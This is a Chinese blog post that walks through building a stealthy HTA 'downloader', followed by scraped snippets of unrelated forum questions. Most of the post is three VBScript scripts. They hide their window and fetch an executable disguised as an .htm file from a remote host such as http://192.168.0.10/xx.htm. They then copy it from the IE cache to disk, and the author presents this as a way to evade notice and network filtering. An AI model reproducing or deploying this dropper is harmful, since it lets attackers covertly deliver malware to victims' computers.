做一个困难重重的hta下载者_hta

一、先说本blog上有两个比较新颖的vbs下载者,一个是利用CDO.Message组件做的,另一个是用Microsoft.XMLDOM做的,参见http://www.jb51.net/article/15506.htm。这两个下载者一个是利用起来比较麻烦,需要事先把exe进行转化。第二使用中cscript.exe会访问网络,不太隐蔽。第二个是有的机器上并不存在这两个组件及利用到ADODB.Stream的,所以有些弊端。
二、再来说一下lake2的下载者http://blog.csdn.net/lake2/archive/2007/05/08/1600580.aspx。这个下载者算是不错了,但是也有问题。一个是如果装了360等其它的浏览器的话,会打开一个ie窗口,并且从注册表中读到的ie缓存位置不一定准确。
三、那我们如何来更新这些缺陷?还是有办法的。我们用hta来写,这个就比较少见了.hh.exe访问网络一般估计会放行的。写这个下载者要解决的困难有几下几点:

(1).使hta不可见-------------》简单,移动窗口
(2).使hta接收命令行参数--------------》本blog上有资料
(3).不调用上边一、二大项所说的所有组件-----------》这个我们利用ie的默认行为
(4).ie缓存的临时位置---------》我用的环境变量
(5)我们不调用任何组件-------------------》需要手动
四、代码(直接把参数写在hta里)

复制代码 代码如下:

<script language=vbs>
window.moveTo 4000,4000
window.resizeTo 0,0 '使hta不可见
set objshell= Createobject("WScript.Shell")'hta是可以直接调用WScript.Shell的,不过不能调用wscript.Createobject("WScript.Shell")
downpath=objshell.ExpandEnvironmentStrings("%USERPROFILE%")&"\Local Settings" '根据环境变量得到下载的路径
set xml=document.createElement("xml")'建方xml元素调用ie的默认行为
xml.addBehavior("#default#DownLoad")
xml.async=0
xml.load("http://192.168.0.10/xx.htm")'请把exe改名放到空间上,用ftp软件上传的话,可能不行,直接放比较好
ShowAllFile(downpath)
Sub ShowAllFile(Path) '遍历查找,直接用lake2的代码
FindFileName="xx[1].htm" '这个也是你需要改的,如果上边是xx.htm,这里就是xx[1].htm
Set FSO = CreateObject("Scripting.FileSystemObject")
Set f = FSO.GetFolder(Path)
Set fc = f.SubFolders
For Each f1 in fc
If FSO.FileExists(path&"\"&f1.name&"\"&FindFileName) Then
FSO.CopyFile path&"\"&f1.name&"\"&FindFileName, "c:\111.exe" '保存到c:\111.exe,可根据需要改动
'document.write "[+]Download Success !"
End If
ShowAllFile path&"\"&f1.name
Next
Set FSO = Nothing

End Sub
window.close
</script>

用法是:把exe好比xx.exe改名放到空间上,然后命令行下或双击这个hta就可以了。
五、另一份代码(传命令行参数)
我个人觉得第四部份的代码比较好,修改一下用就可以了。如果调用命令行参数的话,我发现还是会出现hta小窗口,下载完后才关闭,所以这不太好。代码:

复制代码 代码如下:

<HTA:APPLICATION
ID="MySampleHTA"
Caption="yes">
<script language=vbs>
on error resume Next
window.moveTo 4000,4000
window.resizeTo 0,0 '使hta不可见
cmdLineArray = Split(MySampleHTA.commandLine)'这是把命令中的参数变成数组
set objshell= Createobject("WScript.Shell")
downpath=objshell.ExpandEnvironmentStrings("%USERPROFILE%")&"\Local Settings" '根据环境变量得到下载的路径
temp=LastOne(cmdLineArray(UBound(cmdLineArray)),"/") '从命令行得到当前文件名
temp=split(temp,".")'根据.分割
FindFileName=temp(0)&"[1]."&temp(1)
LocalName=objshell.CurrentDirectory&"\"&temp(0)&".exe"
set xml=document.createElement("xml")
xml.addBehavior("#default#DownLoad")
xml.async=0
xml.load(cmdLineArray(UBound(cmdLineArray)))

ShowAllFile(downpath)
Sub ShowAllFile(Path)
Set FSO = CreateObject("Scripting.FileSystemObject")
Set f = FSO.GetFolder(Path)
Set fc = f.SubFolders
For Each f1 in fc
If FSO.FileExists(path&"\"&f1.name&"\"&FindFileName) Then
FSO.CopyFile path&"\"&f1.name&"\"&FindFileName, LocalName
'document.write "[+]Download Success !"
End If
ShowAllFile path&"\"&f1.name
Next
Set FSO = Nothing

End Sub
Function LastOne(Str,splitStr)
'输入字符和分隔符,得到最后一部分
LastOne = right(Str,len(Str)-InStrRev(Str,splitStr))
End Function
window.close
</script>

用法是:把exe好比xx.exe改名xx.htm放到空间上,然后命令行下好比"c:\xx.hta http://www.target.com/xx.htm",这样xx.exe就会保存到c:
六、不调用任何组件(需手动查找下载的xx[1].htm):

复制代码 代码如下:

window.moveTo 4000,4000
window.resizeTo 0,0 '使hta不可见
set xml=document.createElement("xml")'建方xml元素调用ie的默认行为
xml.addBehavior("#default#DownLoad")
xml.async=0
xml.load("http://192.168.0.10/xx.htm")'
window.close

七、缺点
我这个hta下载者并不是完美的。第一是因为下载到的临时变量我用到了ExpandEnvironmentStrings("%USERPROFILE%"),这样在用户环境下可用,如果是system权限下可能不正常(我猜测的,并没有测试)。第二是因为下载成功后并没有提示,直接用hta在命令行下显示出回显有些麻烦,所以我没有做,嘿嘿。

时间: 2024-09-25 19:24:39

做一个困难重重的hta下载者_hta的相关文章

想做一个文库网站,下载了一个MTCEO文库系统的源码,有一段读取SWF的代码不太懂,求大神帮助

问题描述 想做一个文库网站,下载了一个MTCEO文库系统的源码,有一段读取SWF的代码不太懂,求大神帮助 10C function geturlipstr($ext$filename){//获得预览代码,本地模式 if(file_exists('./' . C('mtceo_attach_path').""docswf/data/"".$filename."".php"")){ $ipstr=F($filename'''./'

效果-需要做一个网站,却被困难拦住了

问题描述 需要做一个网站,却被困难拦住了 我是要做一个购物的网站来作为期末作业,有一点小问题遇到和一些想用的小技巧却不知道怎么去用. 例如: 搜索框的DIV+CSS样式和JS效果不理想 折叠菜单JS效果没有完成 其他一些布局也有瑕疵 希望有大神来帮帮我 这是我第一次来求助 可以的话请假我QQ593921602 不胜感谢!!!!! 解决方案 建议你在csdn下载频道或者51aspx下载一些完整的源代码参考下,对于购物网站的整体设计有个大概的了解,然后再动手. 解决方案二: 倒入jquery,大把的

我有一台连接高速光纤的服务器,我想利用这个服务器做一个离线下载服务器,有什么思路?

问题描述 我有一台连接高速光纤的服务器,我想利用这个服务器做一个离线下载服务器,有什么思路? 我想在服务器写一个程序下载客户端传过去的,下载地址,在服务器上高速下载完毕之后,在通过内网ftp之类的传回客户端.请问有什么思路? 我知道迅雷有接口,查过thunderagent 但是在迅雷5之后这个接口除了添加下载任务之后,其他函数都不能用了. 后来知道了迅雷开放下载引擎,但是这个只是支持http协议下载,比较尴尬,大家有什么建议或者可行思路? 第一次提交问题,C币有限,合适一定给分. 解决方案 感觉

文件上传下载-求大神指教!怎么做一个Android软件实现云相册的功能!

问题描述 求大神指教!怎么做一个Android软件实现云相册的功能! 怎么做一个Android App,能够实现用户用手机拍照后,照片自动上传到服务器??用自动上传下载?服务和接受广播?普通App能实现吗?大神在哪,求点拨! 解决方案 系统拍照之后,接受到这个广播之后,上传即可.后者检查图片库,看是否有图片增加. 解决方案二: 自己做app,调用系统相机,然后把获得图片上传就行了 当然你可以接收系统相机的广播http://www.bubuko.com/infodetail-792730.html

java-Java做一个类似FileZilla的文件上传下载工具

问题描述 Java做一个类似FileZilla的文件上传下载工具 如题,想用java做这么一个工具,现在遇到几个问题: 1.怎么像图片中那样展示一个目录下面的文件,点击..可以返回上级目录,这个怎么做? 2.图片中的窗口很像windows的文件目录窗口,是不是调用了什么api?这些难道都是自己画的? 解决方案 java swing 做啊. 解决方案二: 你需要学习javax.swing这个包下面的类. JTree和JFileChooser可能对你做这个界面有帮助 javax.swing | 最常

jsp 网站开发-想要做一个网站上的图片下载的链接,有一行代码看不懂,求指导

问题描述 想要做一个网站上的图片下载的链接,有一行代码看不懂,求指导 d3.select(this).attr("href", "data:image/svg+xml;charset=utf-8;base64," + btoa(unescape(encodeURIComponent( svg.attr("version", "1.1") .attr("xmlns", "http://www.w3.

做一个类似网络爬虫的下载软件,关于消重哪种方法最好

问题描述 各位前辈好,感谢进到帖子里看我的问题,我的需求是这样的,目前正在做一个类似网络爬虫的下载软件,需要对url进行消重,目前我知道的有两种方案,请问哪种好一些.第一种直接hashset,在开始运行执行把历史url载入到hsahset中,然后进行比对消重第二种leveldb,听说leveldb的存储是十亿级别的,这个肯定够用的,但是完全没用过,不知道有没有哪位前辈用过 解决方案 解决方案二:反正当初我用的是mysqlurl进行md5编码然后存入表中使用的unique修饰程序自身缓存4KW条最

各位大神,最近做一个app商城类项目,用h5实现apk和ipa下载安装,怎么实现的啊

问题描述 各位大神,最近做一个app商城类项目,用h5实现apk和ipa下载安装,怎么实现的啊 各位大神,最近做一个app商城类项目,用h5实现apk和ipa下载安装,现在怎么实现单个下载和一键下载呢,下载完之后怎么自动安装呢 解决方案 单个下载和一键下载的区别只是下载的文件的个数多少,你用一个链表存放所有需要下载的文件,下载完成后,就触发apk等的Install命令 解决方案二: 先谢谢哈 可是现在就是不知道怎么下载,因为是要用h5来开发手机应用 所以不使用ifame的方法 最好还能实时监测接

做一个手机能访问的登录,下载,页面!

问题描述 做一个手机能访问的登录,下载,页面!请问怎么实现,说用什么wap协议,用java怎么开发呢.. 解决方案 解决方案二:就用相当于HTML的WML来写个页面就可以了解决方案三:在上用IIS6建了一个WAP网页,网页的脚本是HTML及WML2种,在IIS上"ActiveServerPage"设置为"允许",端口,页面路径,主页格式形式,都设置过了,在"HTTP头"选项卡的"MIME类型"加入了以下内容:jadtext/v